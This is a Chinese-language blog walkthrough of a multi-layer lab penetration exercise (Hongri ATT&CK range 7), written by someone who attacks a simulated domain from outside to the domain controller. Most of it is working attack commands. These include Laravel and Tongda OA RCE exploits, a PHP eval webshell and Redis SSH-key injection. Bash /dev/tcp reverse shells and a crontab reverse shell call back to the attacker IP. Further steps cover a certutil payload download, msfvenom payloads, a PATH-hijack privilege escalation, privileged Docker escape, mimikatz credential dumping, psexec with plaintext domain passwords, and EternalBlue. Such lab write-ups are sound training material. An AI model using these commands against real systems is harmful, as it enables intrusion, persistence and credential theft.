本文最后更新于 2024-09-08,文章内容可能已经过时。

红日ATT&CK靶场(七)渗透实战笔记

免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

靶场涉及知识点

信息收集:

  • 端口扫描
  • 端口服务识别

漏洞利用:

  • 漏洞搜索与利用
  • Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
  • Docker逃逸
  • 通达OA v11.3 漏洞利用
  • Linux环境变量提权
  • Redis 未授权访问漏洞
  • Linux sudo权限提升(CVE-2021-3156)漏洞利用
  • SSH密钥利用
  • Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
  • MS14-068漏洞利用

构建隧道:

  • 路由转发与代理
  • 二层网络代理
  • 三层网络代理

横向移动:

  • 内网(域内)信息收集
  • MS17-010
  • Windows系统NTLM与用户凭据获取
  • SMB Relay攻击
  • Psexec远控利用
  • 哈希传递攻击(PTH)
  • WMI利用
  • DCOM利用

权限维持:

  • 黄金票据
  • 白银票据
  • Sid History

一、前置配置:

环境说明

DMZ区IP段为192.168.110.1/24 (桥接模式,实际看网络情况)

  • 第二层网络环境IP段为192.168.52.1/24
  • 第三层网络环境IP段为192.168.93.1/24

环境配置

在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24:

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。

DMZ区域:

  • 给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。

第二层网络区域:

  • 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:

  • 给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络。

服务配置

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:

DMZ区的 Ubuntu (web1)需要启动redis和nginx服务:(需要以root启动)

  • sudo redis-server /etc/redis.conf

  • sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf

(这里可能显示nginx端口占用,sudo netstat -ntlp|grep 80查看占用后kill杀死,使用sudo fuser -n tcp 81命令之后重新启动即可)

  • iptables -F

第二层网络的 Ubuntu(web2)需要启动docker容器:

  • sudo service docker start
  • sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

  • 防火墙默认是开启的,需要关闭
  • C:\MYOA\bin\AutoConfig.exe

注意:启动web1可能显示nginx端口被占用的情况,使用sudo fuser -n tcp 81命令之后重新启动,后面下载的靶场通达OA会显示未授权,需要去官网注册获取授权文件。

域用户信息

域用户账户和密码如下:

  • Administrator:Whoami2021
  • whoami:Whoami2021
  • bunny:Bunny2021
  • moretz:Moretz2021

Ubuntu 1:

  • web:web2021

Ubuntu 2:

  • ubuntu:ubuntu

通达OA账户:

  • admin:admin657260

image-20240828011012539

(攻击者的IP和DMZ区域的IP1都是桥接模式网卡的,这里我直接引用了官网的图,想自己配置成图中的一样的ip可以设置静态ip,这里我直接图方便就桥接到Wi-Fi上使用dhcp自动分配ip了)

网卡设置

VM虚拟机网卡设置:

image-20240827112351574

image-20240827112501635

kali 网卡设置

桥接模式桥接到无线网卡,设置为dhcp自动分配ip给kali

image-20240828025519899

/etc/network/interfaces

image-20240828010603109

image-20240901020059639

Ubuntu 64 位 (Web 1):(DMZ区域)
外网网卡:桥接模式
内网网卡:192.168.52.10 (VMnet8)

image-20240828005934589

image-20240830022516623

image-20240830022541441

image-20240830022925745

Ubuntu 64 位 (Web 2):(第二层网络)

外网网卡:192.168.52.20 (VMnet8)
内网网卡:192.168.93.10 (VMnet14)

image-20240828010136918

image-20240830022409114

image-20240830022445137

Windows 7 x64 (PC 1)(第二层网络区域)

外网网卡:192.168.52.30 (VMnet8)

内网网卡:192.168.93.20 (VMnet14)

image-20240828010324606

image-20240830023400167

image-20240830022301389

Windows 7 x64 PC2 (第三层网络区域)
单网卡:192.168.93.40 (VMnet14)

image-20240828012334191

image-20240830022209328

windows server 2012(第三层网络区域)(DC)
单网卡:192.168.93.30 (VMnet14)

image-20240828012404141

image-20240830022018845

一层网络:DMZ区IP段为桥接网卡的网段

第二层网络环境IP段为192.168.52.1/24

第三层网络环境IP段为192.168.93.1/24

二层、三层无法出网,一层不能出网

域用户账户和密码如下:

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1: web:web2021
Ubuntu 2: ubuntu:ubuntu
通达OA账户: admin:admin657260

配好之后再启动web环境:

DMZ区的 Ubuntu 需要启动nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:(并且需要关闭防火墙,不然ping不通)
C:\MYOA\bin\AutoConfig.exe

以上的配置全部配置好后就可以开始渗透了。以下是渗透的过程记录:

二、渗透过程

2.0、主机发现

kali扫描网段内存活的主机

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.110.1/24

image-20240901020357356

(ps:由于我这里连接的是公共的wifi,扫描到其他主机信息有点多,需要实际情况来判断目标主机的具体ip)

(根据扫描到的信息,确定了目标主机的ip地址为:192.168.110.203)

根据官网的配置kali中的DNS解析:

sudo vim /etc/hosts

#添加如下:
192.168.110.203 www.whopen.com (IP更具实际情况来)

(如果有需要在虚拟机外部使用域名,需要配置Windows的hosts文件)

2.1、外网打点(信息搜集)

假设渗透的目标客户只给出了一个域名:www.whopen.com,下面我们要在黑盒的情况下对目标网络进行渗透,最终需要拿下域控制器权限。

使用nmap进行端口扫描:

nmap -p- -sV -sS -O -T5 192.168.110.203

#-p-:全端口扫描
#-sV: 指定让Nmap进行服务版本扫描
#-sS:指定使用 TCP SYN的方式来对目标主机进行扫描
#-O :指定扫描目标的操作系统详情
#-T4: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快

image-20240901020821291

发现目标开启了ssh连接22端口,80和81端口开启了nginx反向代理,和redis的6379端口,直接访问该域名,发现找不到资源(后续看了下web1上指向一个公网ip,是一个博客,这里应该是时间久了不显示了)

image-20240830025006659

访问域名的81端口:发现Laravel v8.29.0 (PHP v7.4.14)服务。

image-20240830025657099

百度搜索这个框架有什么漏洞

参考:https://www.yisu.com/jc/498398.html

image-20240830025920281

2.2、第一层网络(DMZ区域)渗透

漏洞利用

CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞

一、漏洞简介

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

二、影响版本

Laravel <= 8.4.2

Ignition <2.5.2

检测的漏洞的工具:

https://github.com/zhzyker/CVE-2021-3129

python3 exp.py http://www.whopen.com:81/

image-20240830030748981

可以被利用

exp漏洞利用工具:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

image-20240901021951289

python laravel-CVE-2021-3129-EXP.py http://www.whopen.com:81

image-20240901022151615

可以看到exp已经把webshell打进去了,直接使用哥斯拉进行连接(文档写的是用哥斯拉进行连接)

image-20240901023005754

(连接不上,查找后发现这里只能用V29.2版本的哥斯拉)

(我的java版本是jdk11.0.23,后续使用如果存在异常,可以使用命令java -version看下是否要换个 Java 版本试试)

image-20240901023859438

image-20240901025743183

这里执行ipconfig或者ip addr查看ip信息的时候,发现都执行不了,

执行hostname查看主机名,这里明显可以猜测出来大概是docker容器的名称。

image-20240901025842494

使用cat /proc/1/cgroupstat /.dockerenv查看是否为docker容器

image-20240901030049547

基本可以确定就是docker容器的wen环境。

将哥斯拉的shell反弹回kali会话中

这里可以使用两种方式,

一种是之前在nmap上扫描到了这台主机上的redis服务开启在3389端口,这里可以通过redis未授权访问漏洞进行利用

关于redis未授权访问漏洞利用的详情可以参考以下文章:

https://www.cnblogs.com/bmjoker/p/9548962.html

另一种是直接在使用哥斯拉配合kali的nc进行反弹shell

redis未授权访问漏洞利用

KALI中输入redis-cli -h 192.168.110.203进行连接目标主机的redis,输入info后显示回显,说明可以利用这个,接下来直接在kali本地生成密钥然后覆盖目标主机的密钥即可实现未授权直接登录。

未授权访问漏洞攻击者可以在未授权访问redis的情况下利用redis自身提供的config命令,可以进行写文件的操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对于私钥直接使用ssh服务登录目标服务器

image-20240901031638466

ssh-keygen -t rsa  #生成公钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > pub.txt  #将公钥导入pub.txt文件
cat pub.txt | redis-cli -h 192.168.110.203 -p 6379 -x set testpub   #把pub.txt文件内容写入目标主机的redis缓冲中

image-20240901032525322

config set dir /root/.ssh                #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    #设置保存文件名为authorized_keys
save                                     #将数据保存在目标服务器硬盘上

image-20240901032436545

写好后直接ssh连接服务器即可进行登录获取shell

ssh root@192.168.110.203

image-20240901032616411

(可以看到直接是root权限)

nc反弹shell

kali的nc监听4444端口

nc -lvp 4444

在哥斯拉中使用命令进行反弹

bash -c "bash -i >& /dev/tcp/192.168.110.141/4444 0>&1"

#填kali的ip

image-20240901031517470

(这里获取的shell是webshell,需要进行提权,不然还是不能直接执行ip等命令)

提权

find / -perm -u=s -type f -ls 2>/dev/null   #查看有没有提权点文件

image-20240901033231309

使用file命令一个个查看有root文件使用权限的信息
如:file /home/jobs/shell

#经过查看后发现/home/jobs/shell下的是可执行文件

image-20240901033557121

看到了程序的源码,代码的意思是先获取 root 用户和 root 组的权限,然后执行 ps 命令。

猜测这里的源码文件(demo.c)可能是/home/jobs/shell的源码

执行一下后,发现确实执行了ps命令

image-20240901034016259

由于该程序在执行 ps 命令时,没有使用绝对路径。因此我们可以修改环境变量,让 ps 命令指向我们的恶意程序,从而反弹shell,由于该程序是root权限执行的,会直接提权到root权限。

#使用命令创建反弹 shell 的恶意程序/tmp/ps
echo "/bin/bash" > /tmp/ps
#赋予其可执行权限。
chmod +x /tmp/ps
#修改环境变量,让 ps 命令指向恶意程序/tmp/ps
export PATH=/tmp:$PATH
#确认环境变量修改是否成功
echo $PATH

再次执行/home/jobs/shellwhoami发现提权成功。

升级为可交互式的shell

#将简单的Shell转换成为完全交互式的TTY
python -c 'import pty;pty.spawn("/bin/bash")'        

image-20240901034814726

(这里要使用)

使用ipconfig查看ip信息:(确实是web1(DMZ区域)的Ubuntu主机)

image-20240901035013629

上线web1(DMZ)到msf

生成一个linux的反向木马:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.141 LPORT=6666 -f elf > web1.elf

启动msfconsole监听

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 192.168.110.141
set lport 6666
run

将木马通过哥斯拉上传到网站目录,在ssh终端中下载木马

image-20240901040004611

image-20240901040018344

image-20240901040116450

赋予木马可执行权限,并且执行

chmod +x web1.elf
./web1.elf

image-20240901040858124

Msf成功上线。

设置session会话名称:sessions -i 1 -n web1

image-20240902035346674

添加路由

之前上线的web1上发现了疑似内网的ip

image-20240901041752230

由于web1已经上线到msf,可以利用meterpreterf创建路由

#获取本地网络的子网信息
run get_local_subnets
#创建自动路由
run post/multi/manage/autoroute
#查看路由信息
run autoroute -p

image-20240901042646905

已经成功添加了,但是这个路由只能msf用。要是我们想用nmap来探测内网的信息就还需开启socks代理

search socks

image-20240901043331186

use 0
show options
#srvhost设置为0.0.0.0或者127.0.0.1都行,意思是转发本地流量,srvport为转发端口可更改可不改,version为socks版本,4或者5都行
run
#un之后会生成一个job,可以输入jobs查看
(如需终止的话使用jobs -k [id])

image-20240901043639669

编辑vim /etc/proxychains4.conf,添加一条socks5 127.0.0.1 1080,保存退出

image-20240901043746265

最后扫描一下位于内网的机器,也就是192.168.52.0/24,记得加上proxychains

(最后发现无法路由过去)只能采用搭建隧道的方式进行内网通信

搭建隧道

以 Web1 的 192.168.52.10 为据点搭建隧道,实现从第一层网络向第二层网络的访问。

Kali 中下载Venom 隧道工具

内网多级代理工具Venom

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。

渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

使用参考:https://blog.csdn.net/qq_33530840/article/details/140036168

https://github.com/Dliv3/Venom

安装

您可以直接下载使用release中编译好的可执行文件

如果您想从源码编译该项目, 需要安装 go >= 1.11, 然后执行下面的命令

go get -u github.com/Dliv3/Venom/...

# $GOPATH是安装Go时配置的环境变量,可通过go env命令查看
cd $GOPATH/src/github.com/Dliv3/Venom

# 编译好的二进制文件存放在当前目录下的release文件夹中
./build.sh

image-20240901180052914

使用命令./admin_linux_x64 -lport 9999通过 admin 节点监听端口

image-20240901175936842

#将agent节点发送到web1
scp -i /root/.ssh/id_rsa ./agent_linux_x64 root@192.168.110.203:/tmp/

image-20240901181108323

接着 SSH 登陆到 Web1(DMZ),执行如下命令:

/tmp/agent_linux_x64 -rhost 192.168.110.141 -rport 9999

通过agent节点连接 Kali 的 admin 节点,此时我们在 admin 节点会看到连接成功的信息。

image-20240901181641947

最后,我们回到 Kali,在 admin 节点中使用命令show确定 Web1 的 agent 节点 id 是 1,然后使用命令goto 1进入 Web1 的 agent 节点,使用命令socks 1111基于 Web1 的 agent 节点在 Kali 本机的 1111 端口创建通往第二层网络的隧道。

image-20240901181812341

在配置文件/etc/proxychains4.conf中配置socks5 127.0.0.1 1111就能使用 proxychains 进行访问。

如果还是发现还是访问不了可以试试如下:

image-20240901183512686

proxychains4.conf这两个配置,dynmic_chain前面的#去掉,strict_chain加上#

2.3、第二层网络

信息搜集

由于 Venom 和 MSF 代理的是 TCP/UDP 协议,而这些协议对资产存活的探测效率没有 ICMP/ARP 协议高,所以我们可以将 fscan 上传到 Web1 上对第二层网络进行资产发现和漏洞发现。

在 Kali 中使用命令scp -i /root/.ssh/id_rsa ./fscan root@192.168.110.203:/root/将 fscan 上传到 Web1

fscan一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

下载地址:https://github.com/shadow1ng/fscan

wget https://github.com/shadow1ng/fscan/releases/download/1.8.4/fscan

chmod +x ./fscan赋予 fscan 可执行权限后使用命令sudo ./fscan -h 192.168.52.0/24进行扫描

image-20240901214950931

image-20240901215452274

可以看到扫描到了内网中存活的主机和开放的端口信息,排除web1(192.168.52.10),和网关(192.168.52.2),和本机(192.168.52.1),剩下的就是我们要进行渗透的

192.168.52.20(从扫描结果看192.168.52.20的8000端口有Laravel的页面和之前的一样的,剩下的只开启了22端口)

image-20240901220134266

192.168.52.30(从扫描结果来看扫描到了操作系统是win7,存在永痕之蓝漏洞,在8080端口开放了通达OA系统,可以利用它来获取敏感信息,从而渗透到域控)

PC 1 渗透(192.168.52.30)

先从192.168.52.30入手,浏览器设置代理,访问通达OA界面(http://192.168.52.30:8080/inc/expired.php)

image-20240901220047629

image-20240901220100863

从页面中的信息可以得知通达OA的版本信息为11.3.200106版本

网上搜索后可知,这个版本存在未授权文件上传漏洞和任意文件包含漏洞,组合一下就可以实现RCE

参考:

通达OA未授权任意文件上传及文件包含导致远程代码执行漏洞(https://www.anquanke.com/post/id/201174)

kali中下载漏洞利用工具(td_rce)

git clone https://github.com/ghtwf01/td_rce.git

image-20240901221907267

输入一下命令

proxychains python td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "whoami & hostname & ipconfig"

image-20240901222308010

image-20240901222328429

成功利用通达OA漏洞渗透横向进pc1(nt authority\system 用户权限)

上线PC1到Msf

直接设置在目标网站生成shell

kali:
nc -lvnp 8999 

#通达OA目录下执行
proxychains python td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "<?php fputs(fopen('../../shell.php','w'),'<?php @eval($_POST["test"])?>');?>"

蚁剑连接直接上传msf的木马进行连接,进入终端执行木马

image-20240903034837107

直接上传msf的shell进行连接

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.30
set lport 4444

image-20240903035116719

横向移动(建立隧道)

在刚才的IP信息中,我们发现除了192.168.52.0/24的网段以外还存在192.168.93.0/24这个网段

image-20240901222548030

那么接下来我们就可以对该网段进行横向渗透。

首先在 Kali 的 之前的Venoma的dmin 节点的控制台中,在 Web1 节点里执行命令listen 9999,让 Web1 监听 9999 端口,以提供给 PC1 进行连接,从而建立隧道。

image-20240901222846932

然后在 Venom 工具的目录下使用命令python3 -m http.server创建 HTTP 服务

image-20240901223046816

在 PC1 中下载 agent 节点

#在通达OArce目录下执行
proxychains python td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "certutil -urlcache -split -f http://192.168.110.141:8000/agent.exe"

image-20240901223855954

让 PC1 连接 Web1,从而建立隧道:

image-20240901224137395

proxychains python td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "start /b agent.exe -rhost 192.168.52.10 -rport 9999"

image-20240902020122212

回到venom的admin节点终端,使用show查看,确定 PC1 的 agent 节点 id 是 2

image-20240901224633136

使用命令goto 2进入 PC1 的 agent 节点,使用命令socks 2222基于 PC1 的 agent 节点在 Kali 本机的 2222 端口创建通往第三层网络的隧道。

image-20240901224747595

在配置文件/etc/proxychains4.conf中配置socks5 127.0.0.1 2222就能使用 proxychains 进行访问。

image-20240901224914010

Web2(192.168.52.20)渗透

getshell

之前用fscan扫描到web2的网络上部署的 Laravel和第一层网络上的一模一样,直使用CVE-2021-3129 漏洞利用工具拿下:

proxychains python laravel-CVE-2021-3129-EXP.py http://192.168.52.20:8000

image-20240901235348620

使用哥斯拉进行连接:

image-20240902001101543

image-20240902001300087

使用命令cat /proc/1/cgroupstat /.dockerenv确认这台服务器果然是容器环境

image-20240902001409274

提权

先反弹个稳定的shell到kali中:

kali:nc lvp 7777

哥斯拉:bash -c "bash -i >& /dev/tcp/192.168.110.141/7777 0>&1"

image-20240902002018774

再按照之前上线web1提权的方法获取到web2的root权限

#创建恶意程序
echo "/bin/bash" > /tmp/ps
chmod +x /tmp/ps

#修改环境变量:
export PATH=/tmp:$PATH
echo $PATH

#执行恶意程序
/home/jobs/shell

#whoami ; id ; hostname ; ip addr
提权成功

#完整shell
python -c 'import pty;pty.spawn("/bin/bash")'

image-20240902002818324

image-20240902002931799

虽然已经提权成功,但是还是再docker容器里,不能使用ip addr等查看ip信息,因此需要从容器中逃逸到宿主机,获得完整权限。

web2 docker容器逃逸

逐个检查逃逸点,使用命令cat /proc/self/status | grep CapEff,发现结果是 0000003fffffffff 而不是 0000000000000000

image-20240902003225282

说明该容器是由特权模式启动的,可以使用容器逃逸技术进行逃逸到宿主机

参考:

docker逃逸原理和利用详解:

https://cloud.tencent.com/developer/article/2374154

docker配置不当导致的容器逃逸:

https://www.kingkk.com/2021/01/配置不当导致的容器逃逸/

特权模式启动的容器,可以挂载宿主机的磁盘,并对磁盘具有 root 用户的读写权限。

使用命令ls -l /dev/sd*查看宿主机接了几块硬盘

image-20240902003516277

可以发现接了一块硬盘 sda,并划分了 3 个分区,分别是 sda1、sda2、sda5。

使用命令fdisk -l查看宿主机中可用的磁盘分区,发现 sda1、sda2、sda5 都可用,其中 sda1 是系统分区。利用它就可以进行逃逸

image-20240902003644869

使用命令mkdir /tmp/sda1创建一个目录,使用命令mount /dev/sda1 /tmp/sda1将宿主机硬盘的系统分区/dev/sda1 挂载到/tmp/sda1 目录中。

image-20240902003805794

此时容器中的/tmp/sda1 目录,相当于宿主机中的/目录,可以使用命令ls -l /tmp/sda1进行确认

image-20240902003846515

创建定时任务反弹shell到kali中:

echo '* * * * * root bash -c "bash -i >& /dev/tcp/192.168.110.141/8999 0>&1"' >> /tmp/sda1/etc/crontab

kali启动nc监听:nc -lnvp 8999

image-20240902004255531

逃逸成功,获得宿主机 root 用户的权限

输入ifconfig确认,确实是web2

image-20240902004618375

上线Web2到msf

生成正向木马:

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=9090 -f elf -o web2.elf

KALI中再web2.elf目录中开启http服务,回到逃逸的shell中下载木马:

image-20240902010650659

kali启动msf连接木马:

use exploit/multi/handler 
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 9090
run

回到之前逃逸的shell中,执行木马:

chmod +x web2.elf
./web2.elf

image-20240902010929640

bg退出,sessions查看:

image-20240902011007360

上线web2到msf成功。

2.4、第三层网络

image-20240902011346539

信息搜集

回到venom界面使用命令shell进入 PC1 的 shell 环境,使用命令chcp 65001将界面编码改成 UTF-8

image-20240901225048723

使用whoami确定主机名,使用net usernet user /domain搜集本机用户和域信息

image-20240901225324075

可以看到主机用户:Administrator

域:whoamianony.org

使用ipconfig /displaydns确认域控制器信息:(一般域控都在dns上,也就是DNS服务器)

image-20240901225636758

使用nslookup dc.whoamianony.org查看域控的ip地址:

image-20240901225734379

获取到域控的ip地址为192.168.93.30

使用mimikatz获取域控账号密码

在 admin 节点中使用命令show确定 PC1 的 agent 节点 id 是 2,

然后使用命令goto 2进入 PC1 的 agent 节点,

上传mimikatz到pc1中

(KALI自带的mimikatz在/usr/share/windows-resources/mimikatz/x64/mimikatz.exe 中)

upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:\MYOA\webroot\ispirit\interface\mimikatz.exe

image-20240901233720710

接下来使用命令shell进入 PC1 的 shell 环境,使用命令mimikatz.exe进入 mimikatz 环境,

image-20240901233900630

使用命令privilege::debugsekurlsa::logonPasswords从系统缓存中提取曾经登陆过系统的帐号密码,获得 WHOAMIANONY.ORG 域内两个域用户的帐号密码Administrator/Whoami2021和bunny/Bunny2021。

image-20240901234059226

image-20240901234216261

回到之前的Venom的admin节点控制台中,使用命令show确定 PC1 的 agent 节点 id 是 2,然后使用命令goto 2进入 PC1 的 agent 节点,使用命令shell进入 PC1 的 shell 环境,使用命令chcp 65001将界面编码改成 UTF-8

使用如下命令进行ip信息搜集

FOR /L %i IN (1,1,254) DO @ping 192.168.93.%i -n 1 -w 1 | findstr TTL

image-20240902024340237

发现第三网段的ip如上图。

由于 192.168.93.30 (DC)是域控,所以它的渗透价值比 192.168.93.40 (pc2)更大,我们优先渗透 192.168.93.30。

DC(192.168.93.30)域控渗透

提权(getshell)

由于 PC1 信息收集时,已经使用过mimikatz拿到 WHOAMIANONY.ORG 域管理员的帐号密码Administrator/Whoami2021

使用如下命令拿下域控服务器:

proxychains impacket-psexec WHOAMIANONY.ORG/Administrator:Whoami2021@192.168.93.30

image-20240902025300530

image-20240902025353105

上线DC到msf

msf这里也是同样使用psexec

exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass Whoami2021

image-20240903033759287

PC2(192.168.93.40)渗透

都拿下域控了前面使用mimikatz可以获取到pc2的用户名密码

直接使用命令拿下:

proxychains impacket-psexec WHOAMIANONY.ORG/Administrator:Whoami2021@192.168.93.40

image-20240902030730138

PC2利用Ms17_010上线到msf

这里对pc2的渗透可以尝试一波ms17_010。最后显示成功上线

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit

image-20240902041149520

wmiexec smb登录

wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

wmiexec 执行命令,搜集信息,参考:wmiexec.py 下载地址:

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

python3 wmiexec.py -debug 'administrator:Whoami2021@192.168.93.40'

image-20240902041407704

image-20240902041417825

三、渗透思路总结:

第一层网络

ip为桥接模式

  1. VPN/Wi-Fi,存在弱口令漏洞,可以爆破出密码,获得目标单位内网的访问权限(备注:这句是我编的,目的是让靶场更真实)。

  2. Web1的 Redis 服务(6379),存在未授权访问漏洞,可以写入 SSH 公钥、或写入反弹 shell 的计划任务,获得 root 用户权限。由于 Web1 是双网卡,因此同时获得第二层网络192.168.52.0网段的访问权限。

第二层网络(192.168.52.0/24)

  1. PC1(192.168.52.30)的通达 OA 服务(8080),存在未授权文件上传漏洞和任意文件包含漏洞,可以先未授权上传包含反弹 shell 代码的文件、再用任意文件包含漏洞触发执行,获得 system 用户权限。由于 PC1 是双网卡,因此同时获得第三层网络的访问权限。

  2. Web2(192.168.52.20)的 Laravel 服务(8000),存在 Phar 反序列化漏洞,可以先在日志中写入生成 Webshell 的代码、再用 Phar 反序列化漏洞触发生成 Webshell,获得 Docker 容器的 www-data 用户权限;存在 suid 提权漏洞,能以 root 权限执行返回 shell 的恶意程序,获得 Docker 容器的 root 用户权限;存在 Docker 容器特权模式逃逸漏洞,能在宿主机中写入 SSH 公钥、或写入反弹 shell 的计划任务,获得宿主机的 root 用户权限。

第三层网络(192.168.93.0/24)

  1. DC(192.168.93.30),域管理员凭据在 PC1 中泄漏,可以直接进行登陆,获得 system 用户权限。

  2. PC2(192.168.93.40)的 SMB 服务(445),存在永恒之蓝漏洞,可以获得 system 用户权限。

至此渗透结束